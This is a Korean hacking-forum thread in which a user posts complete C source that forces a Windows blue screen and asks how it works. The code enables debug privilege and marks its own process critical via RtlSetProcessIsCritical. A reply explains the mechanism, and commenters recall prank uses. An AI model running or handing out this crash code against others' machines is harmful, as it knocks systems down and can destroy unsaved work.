프로그래밍

 3198, 1/160 회원가입  로그인  
   h@cking2013
   블루스크린 소스

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=6450 [복사]


안녕하세요.
인터넷에서 블루스크린을 띄우는 소스를 우연히 발견하였습니다.

#include <windows.h>

typedef VOID ( _stdcall *RtlSetProcessIsCritical ) (
               IN BOOLEAN        NewValue,
               OUT PBOOLEAN OldValue,
               IN BOOLEAN      IsWinlogon );

BOOL EnablePriv(LPCSTR lpszPriv)
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tkprivs;
    ZeroMemory(&tkprivs, sizeof(tkprivs));

    if(!OpenProcessToken(GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), &hToken))
        return FALSE;

    if(!LookupPrivilegeValue(NULL, lpszPriv, &luid)){
        CloseHandle(hToken); return FALSE;
    }

    tkprivs.PrivilegeCount = 1;
    tkprivs.Privileges[0].Luid = luid;
    tkprivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    BOOL bRet = AdjustTokenPrivileges(hToken, FALSE, &tkprivs, sizeof(tkprivs), NULL, NULL);
    CloseHandle(hToken);
    return bRet;
}

BOOL ProtectProcess()
{
   HANDLE hDLL;
   RtlSetProcessIsCritical fSetCritical;

   hDLL = LoadLibraryA("ntdll.dll");
   if ( hDLL != NULL )
   {
         EnablePriv(SE_DEBUG_NAME);
        (fSetCritical) = (RtlSetProcessIsCritical) GetProcAddress( (HINSTANCE)hDLL, "RtlSetProcessIsCritical" );
          if(!fSetCritical) return 0;
          fSetCritical(1,0,0);
    return 1;
   } else
          return 0;
}

int main (void)
{
ProtectProcess();
return 1;
}

어떤 원리인가요?

  Hit : 8712     Date : 2014/03/23 03:12



    
MainThread hDLL이라는 DLL파일을 통해 RtlSetProcessIsCritical함수를 얻어오고 있습니다.
- RtlSetProcessIsCritical는 임계프로세스를 생성하기 위한 함수입니다.
- 임계프로세스(Critical Process)는 종료되지 않는 즉, 블루스크린을 유발시키는 프로세스입니다.

GetProcAddress에 대해 자세히 알고 싶으시다면 MSDN을 참고해 보세요
From MainThread
2014/05/24  
h@cking2013 감사합니다! 2014/07/30  
김병권 옛날에 어떤 분이 네이트온으로 블루스크린 화면에 띄워봐라고 하던데...
기억이 나네요. 좋은 정보 감사해요... ㅋㅋ
2015/02/01  
김병권 6년은 된 거라도 기억이 나긴 납니다 ㅋㅋㅋㅋ 2015/02/01  
somass 감사합니다 2022/09/16